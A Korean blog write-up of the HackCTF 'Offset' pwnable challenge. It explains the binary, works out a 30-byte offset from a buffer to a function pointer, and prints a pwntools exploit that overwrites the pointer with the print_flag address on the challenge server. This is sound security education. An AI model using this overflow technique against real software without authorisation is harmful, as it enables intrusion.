Offset의 코드는 다음과 같다.
처음에 Which function would you like to call? 이란 메세지가 출력된 후 입력을 받는다.
이후 입력 값을 select_func 함수의 인자로 넘겨서 실행시킨다. 만약 입력 값이 one 이라면 one 함수를 실행하고, 그렇지 않으면 two 함수를 실행시키는 듯 하다.
조금 더 살펴보면 offset에는 위의 함수 뿐 아니라 print_flag 함수도 존재한다.
말 그대로 flag를 출력해주는 함수이다.
v3의 위치를 알아내서 one, two 함수가 아닌 print_flag 함수의 주소를 저장할 수 있다면, select_func 함수가 종료되면서 print_flag 함수를 호출하게 될 것이다.
select_func 함수에서 strncpy가 실행되는 다음 줄에 중단점을 걸고, dest와 v3의 위치를 각각 확인해주도록 한다.
입력 값은 "AAAA" 이다.
먼저 <+30>부터 <+39>까지를 보면, strncpy의 인자로 3개의 값을 push 하는데, 이 중 <+38>의 eax가 바로 dest에 해당하는 부분이다. eax에는 ebp-0x2a가 저장되어 있으므로, dest의 시작주소는 ebp-0x2a임을 알 수 있다.
이후에 해당 함수를 종료하기 전에 v3를 실행하는데, 그에 해당하는 부분이 <+85>이다. 이 때의 eax는 ebp-0xc이고 해당 위치가 v3이다.
0x2a - 0xc = 0x1e 이고, 이는 10진수로 30이다. 30개의 값을 채운 후에 flag 주소 4바이트를 입력하면 v3에 저장될 것이다. 페이로드는 다음과 같다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3007)
flag = 0x000006D8
payload = "\x90"*30
payload += p32(flag)
r.recvuntil("?")
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
[ProjectH4C] HackCTF (RTL_World) (0) | 2020.09.27 |
---|---|
[ProjectH4C] HackCTF (BOF_PIE) (0) | 2020.09.18 |
[ProjectH4C] HackCTF (Simple_Overflow_ver_2) (0) | 2020.09.17 |
[ProjectH4C] HackCTF (x64 Simple_size_BOF) (0) | 2020.09.17 |
[ProjectH4C] HackCTF (x64 Buffer Overflow) (0) | 2020.09.13 |